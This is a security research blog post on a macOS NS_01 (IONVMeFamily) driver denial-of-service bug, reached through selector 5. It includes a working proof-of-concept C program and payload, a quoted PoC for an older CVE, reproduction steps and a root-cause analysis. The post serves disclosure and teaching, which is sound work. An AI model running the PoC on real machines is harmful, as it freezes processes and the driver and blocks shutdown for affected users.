Case Study: Analyzing macOS IONVMeFamily Driver Denial of Service Issue

This post explores a case study of a Denial of Service (DoS) issue I identified this year in the NS_01 driver, part of the IONVMeFamily kernel extension on macOS. It was classified as not a security issue:

Although it is not a critical issue, I decided to write about it as the technical details and detection process provide valuable insights into Vulnerability Research and Reverse Engineering with macOS drivers.
I will not write here about what drivers are on MacOS or how we can interact with them from user mode, as I described that earlier in the Drivers on macOS – Introduction to IOKit and BSD drivers:

In this article, you will learn how to utilize old publicly available Proof of Concept for the detection of new vulnerabilities and how to reverse the root cause of the crash or unexpected behavior during fuzzing.
Enjoy!
High-Level Overview
A bug I identified is in the NS_01
driver on macOS in handling malformed requests through selector 5
.

Due to an unvalidated size multiplier, the driver attempts to create an extensive IOMemoryDescriptor
range. When this range is prepare()
for Direct Memory Access (DMA), the calling thread becomes stuck in uninterruptible sleep. This renders the process unkillable and system shutdown impossible.

Ultimately, it triggers a system watchdog panic on reboot. On top of that, the driver is unusable until the system reboots and returns Error: 0xe00002be ((iokit/common) resource shortage)
for all requests, so other system components that rely on the driver cannot use it. For example:

The issue poses a Denial of Service risk only. No root is needed to trigger this bug.
Affected Platforms
I tested this on Mac Mini M2 (macOS 15.2) and MacBook Pro M1 Max (macOS 15.3). As far as I know, the issue will not be patched, so it is good to keep that in mind during “dumb” fuzzing.
Proof of Concept Payload
This payload causes the driver to attempt wiring an extremely large memory range, leading to the observed DoS condition. The last 4 bytes in the structure must be 0xFF bytes.
char payload[16] = {
0x01, 0x02, 0x03, 0x04, // Address part 1
0x05, 0x06, 0x07, 0x08, // Address part 2
0x09, 0x0a, 0x0b, 0x0c, // Log page ID
0xFF, 0xFF, 0xFF, 0xFF // Size multiplier
};
Code language: JavaScript (javascript)
On top of that, all bytes must be used (no NULL bytes).
How the Issue Was Discovered
I was looking for the old CVEs with publicly available Proof of Concepts related to drivers on macOS and found the CVE-2022-46697 from Antonio Zekić, where he discovered an out-of-bounds access issue:
#include <stdio.h>
#include <IOKit/IOKitLib.h>
#pragma clang diagnostic ignored "-Wdeprecated-declarations"
int main(int argc, const char **argv)
{
kern_return_t IOMasterPort(mach_port_t, mach_port_t *);
mach_port_t mach_port = MACH_PORT_NULL;
IOMasterPort(MACH_PORT_NULL, &mach_port);
io_connect_t client = MACH_PORT_NULL;
io_service_t service = IOServiceGetMatchingService(mach_port, IOServiceMatching("AppleCLCD2"));
size_t type = 0;
size_t selector = 5;
if (service == MACH_PORT_NULL)
{
return 0;
}
if (IOServiceOpen(service, mach_task_self(), type, &client) == KERN_SUCCESS)
{
for (size_t inputStructCnt = 0; inputStructCnt < 4096; inputStructCnt++)
{
void *inputStruct = calloc(inputStructCnt, sizeof(uint16_t));
for (size_t offset = 0; offset < inputStructCnt; offset++)
{
((uint16_t*)inputStruct)[offset] = 0xFF;
}
IOServiceOpen(service, mach_task_self(), type, &client);
printf("type: %zu | selector: %zu | inputStructCnt: %zu\n", type, selector, inputStructCnt);
IOConnectCallMethod(client, selector, 0, 0, inputStruct, inputStructCnt, 0, 0, 0, 0);
IOServiceClose(client);
free(inputStruct);
}
}
return 0;
}
// clang -o CVE-2022-46697 CVE-2022-46697.c -framework IOKit
// ./CVE-2022-46697
Code language: PHP (php)
Although this bug exploited the wrong bounds checking (the buffer size sent to the driver), an interesting part of the above PoC is the 0xFF byte used incrementally as the buffer content.

I checked if this was an essential part of triggering the bug by myself on the macOS version before 13.1, and it looked like any bytes could be used. I also asked Antonio to be sure my statement was correct.
What If?
At this point, I wanted to automate Antonios’ PoC to use it against all drivers’ external methods available on the latest macOS so I can test for it on each new macOS release. I knew I could use any byte for that, but then I thought about killing two birds with one stone.
What if
0xFF
bytes trigger some integer overflows?
Dumb Ideas
The plan was to send 0xFF
bytes and incremented buffer size to all drivers’ external methods, aiming to trigger a buffer overflow—much like Antonio did for a single AppleCLCD2 driver. Additionally, by exclusively using 0xFF
bytes, I sought to uncover potential integer overflows. That way, even if I could not replicate a bug similar to CVE-2022-46697, I could still find some integer overflows as an alternative attack vector.
Frankly, at the beginning, I thought I would not find anything, as it was just another “dumb idea”.
Discovery
I ran the script against all macOS drivers registered in IORegistry. It just checked using IOServiceOpen if I could spawn UserClient (connect to the driver). Then, it iterated over driver external methods using selector IDs from 0 to 30. Finally, using IOConnectCallMethod
it sends 0xFF
bytes as input.
This simple C program printed the driver response code for me. While running, I encountered a freeze on the
NS_01
driver in the selector5
. This is how I first time encountered this DoS issue.
Proof of Concept
Here is the Proof of Concept code to trigger the bug I found. Most importantly, we are looking for the NS_01
driver instance and talking to its external method exposed under selector 5
using the function IOConnectCallMethod
, in which we send a payload structure. We can also use just 16 0xFF
bytes.
// clang poc.c -o poc -framework IOKit ; ./poc
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <IOKit/IOKitLib.h>
#include <mach/mach_error.h>
#define PAYLOAD_SIZE 16
int main() {
io_iterator_t iterator;
io_service_t service;
io_connect_t client = MACH_PORT_NULL;
kern_return_t result;
mach_port_t masterPort = kIOMainPortDefault;
// To trigger the bug, none of the bytes can be 0x00, and the size multiplier must be set to 0xFFFFFFFF.
char payload[PAYLOAD_SIZE] = {
0x01, 0x02, 0x03, 0x04, // Address part 1
0x05, 0x06, 0x07, 0x08, // Address part 2
0x09, 0x0a, 0x0b, 0x0c, // Log page ID
0xFF, 0xFF, 0xFF, 0xFF // Size multiplier
};
printf("Payload: ");
for (int i = 0; i < PAYLOAD_SIZE; i++) {
printf("%02x ", (unsigned char)payload[i]);
}
printf("\n");
// Find all matching services
CFDictionaryRef matching = IOServiceMatching("IOService");
result = IOServiceGetMatchingServices(masterPort, matching, &iterator);
if (result != KERN_SUCCESS) {
fprintf(stderr, "Failed to get matching services: 0x%x (%s)\n", result, mach_error_string(result));
return 1;
}
// Iterate through services to find "NS_01"
while ((service = IOIteratorNext(iterator)) != MACH_PORT_NULL) {
char serviceName[128];
if (IORegistryEntryGetName(service, serviceName) != KERN_SUCCESS) {
strcpy(serviceName, "unnamed_driver");
}
if (strcmp(serviceName, "NS_01") == 0) {
printf("Found target driver: %s\n", serviceName);
result = IOServiceOpen(service, mach_task_self(), 0, &client);
if (result != KERN_SUCCESS) {
fprintf(stderr, "Failed to open driver: 0x%x (%s)\n", result, mach_error_string(result));
IOObjectRelease(service);
continue;
}
printf("Sending payload to driver: %s\n", serviceName);
result = IOConnectCallMethod(client, 5, NULL, 0, payload, PAYLOAD_SIZE, NULL, NULL, NULL, NULL);
if (result != KERN_SUCCESS) {
fprintf(stderr, "Call failed: 0x%x (%s)\n", result, mach_error_string(result));
} else {
printf("Payload sent successfully to driver: %s\n", serviceName);
}
IOServiceClose(client);
}
IOObjectRelease(service);
}
IOObjectRelease(iterator);
printf("Exploit attempt completed.\n");
return 0;
}
Code language: PHP (php)
I will write a separate post about iterating over IOregistry and matching drivers.
Steps to Reproduce
Start the log capture using:
sudo log stream | grep -i nvme
Compile and run a proof-of-concept tool that opens the NS_01
driver and calls selector 5
with a 16-byte payload
containing a 0xFFFFFFFF
size multiplier:
clang poc.c -o poc -framework IOKit ;
./poc
Observe that the calling process becomes stuck and cannot be killed, even from the root account:

Run the ./poc
again and observe 0xe00002be - resource shortage
response

Attempt to reboot or shut down the system and observe that:
- In the log stream output, one of the system components that relies on NVMe fails

- The process never properly terminates
- If on battery, the machine remains stuck until the battery drains or a forced power cycle occurs
- Reboot takes a very long time (like 5 minutes in my case), and upon reboot, a panic log appears
The question is – why is that happening?
Reverse Engineering
Unfortunately, there is no publicly available source code for most drivers, and thus, IDA is the answer, but before that, we need to know where to start. As we can see, NS_01 is part of the IONVMeFamily:

So, the KEXT we should investigate is com.apple.iokit.IONVMeFamily
:
CrimsonUroboros -p $(ls kernelcache/System/Volumes/Preboot/*/boot/*/System/Library/Caches/com.apple.kernelcaches/kernelcache.decompressed) --dump_kext com.apple.iokit.IONVMeFamily
Code language: JavaScript (javascript)
When we filter for external method symbol dispatch function, we can find the below pointer:

Using this pointer in IDA with kernel cache loaded, we can find our starting point for investigation:

To summarize, our poc.c calls something in the AppleNVMeSMARTUserClient::externalMethod.
Uncommon UserClient External Method Dispatcher
Typically, dispatcher functions for drivers’ external methods use a method array like the one below. Each entry in the array is just the “next” selector ID starting counting from 0, and the total count of external methods to dispatch is taken as the fifth argument (marked with a number 3 below):

However, here we have some custom code that uses switch-case logic, and based on the selector ID used, the specific execution path is taken. We have 28 selectors in total:

Our interest is in selector id 5
, which brings us to the below logic:

To find the root cause of the issue, we must examine each line in the code flow starting from line 172.
Big Memory Range
The bug seems rooted in the integer overflow caused by the sizeMultiplier
field. When a value of 0xFFFFFFFF
is passed as the multiplier, it results in the calculation of an excessively large buffer length:

So the 4LL * (*(payload + 3) + 1));
will produce 0x400000000
and it will be passed on to the CreateRequestBuffer
in the third argument, as size_multiplier
:

Here, we call another function IOMemoryDescriptor::withAddressRange
which will use our overflown size_multiplier
value, but first, it is aligned at line 12 using:
v3 = IOMemoryDescriptor::withAddressRange(our_buffer, (size_multiplier + 4095) & 0xFFFFFFFFFFFFF000LL, 3u, this[28]);
Code language: JavaScript (javascript)
So, the final value passed to the IOMemoryDescriptor::withAddressRange
function is 0x400001000
which is around 16GB memory range. We have something like this:

It creates an
IOMemoryDescriptor
to describe one virtual range of the specified map, the length we passed here is considerable, and because of that, if this descriptor is later used, it will produce a DoS.
Root Cause
The memory_descriptor
for this memory is used in IONVMeBlockStorageDevice::GetLogPage
:

At the beginning GetLogPage executes this line of code using our descriptor:

At this stage, I could not see any debug strings in the log stream output, and the process was frozen. This is why I think that prepare()
function in GetLogPage
is the last one we can reach with the payload from poc.c, and here is the root cause of the Denial of Service.
As the memory range to prepare for an I/O transfer is very big, this function never ends.
Bug Summary
- Root Cause: Selector 5 handler in
AppleNVMeSMARTUserClient::externalMethod
. - No upper bounds on the
size multiplier
lead to an enormousIOMemoryDescriptor::withAddressRange(...)
- It remains stuck in
prepare()
when the address is invalid or too large. - Impact: Sustained denial of service. The process cannot be killed, and the system shutdown is blocked indefinitely. A kernel panic eventually occurs on a forced power cycle.
- Suggested Remediation: Enforce sane limits on the size multiplier or validate the user‐supplied address/length before creating such a large memory descriptor.
Final Words
Although this issue was classified as not a security vulnerability, the investigation process provided deep insights into macOS kernel behavior and highlighted best practices for vulnerability detection.
This case study serves as an educational resource for researchers and developers interested in kernel debugging, reverse engineering, and security analysis.
If this blog post interests you and you are interested in Cybersecurity in general, I encourage you to visit our AFINE blog regularly for new knowledge. If you are interested in macOS and want to learn more, bookmark the Snake_Apple repository, as any article I wrote will be listed there.
I hope you learned something new here!